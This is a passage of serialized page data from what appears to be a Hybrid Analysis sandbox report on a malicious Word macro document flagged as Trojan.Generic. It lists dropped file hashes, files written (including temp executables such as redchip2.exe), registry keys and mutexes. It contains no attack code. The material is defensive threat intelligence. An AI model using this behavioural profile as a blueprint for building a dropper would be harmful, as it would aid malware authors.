box","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"ferbys2","sha256":"04b93a946b2c69970d2cc370bbd60fd28cf7df3c3b0b81c8dea3579d85469659","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"scsAB3F.tmp","sha256":"ee06792197c3e025b84860a72460eaf628c66637685f8c52c5a08a9cc35d376c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"scsAB4A.tmp","sha256":"06d61c23e6ca59b9ddad1796eccc42c032cd8f6f424af6cfee5d085d36ff7dfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"~$anData155328.docm","sha256":"7198d8609ceb36f750959c5637eb341238752b947c7f64dcf69ed4545e9ae064","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"4066244.cvr","sha256":"4953bfaaa799d0897e062cc32df9ecbd248b2718747188bf790f8294a7662572","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"files_written":[{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{BB03F800-CBB0-4810-A089-8D6E41D5D4DE}.tmp","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\~$anData155328.docm","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\ScanData155328.docm","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{0EE5BEDD-F019-49AD-A7F4-AC530EFDB06D}.tmp","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{25996F2D-D010-4A0D-8FD0-077C4A8E164F}.tmp","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\29725F39.png","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ScanData155328","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ScanData155328.LNK","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\~DF344FFF6A64C7E731.TMP","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\VBE\\MSForms.exd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\FM20.DLL\\2","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\FM20.DLL","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\874hv[1]","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msado15.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\ferbys2","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\Users\\nRH0jxT","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\SHELL32.DLL.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\ntvdm.exe","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\redchip2.exe","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\_default.pif","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\MSDOS.SYS","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\IO.SYS","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\ntio.sys","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\ntdos.sys","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\CONFIG.NT","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\SCSAB3F.TMP","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\HIMEM.SYS","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\COUNTRY.SYS","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\COMMAND.COM","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\AUTOEXEC.NT","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\MSCDEXNT.EXE","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\REDIR.EXE","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM32\\DOSX.EXE","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\SYSTEM.INI","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\SCSAB4A.TMP","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%TEMP%\\REDCHIP2.EXE","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\sendtoonenote.BUD","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\sendtoonenote.gpd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\StdNames.gpd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNoteNames.gpd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNoteFilter.gpd","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\SendToOneNote.ini","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004109F10090400000000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\c:!users!nrh0jxt!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!nrh0jxt!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}]}},"report_ids":{"sandbox_job_ids":["58eb83cfaac2edd25281f653"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample b0c9d7430608… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b0c9d7430608…. Malware family: Trojan.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 7 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample b0c9d7430608… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b0c9d7430608…. Malware family: Trojan.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 7 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample b0c9d7430608… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b0c9d7430608…. Malware family: Trojan.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 7 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2f","11",{}]]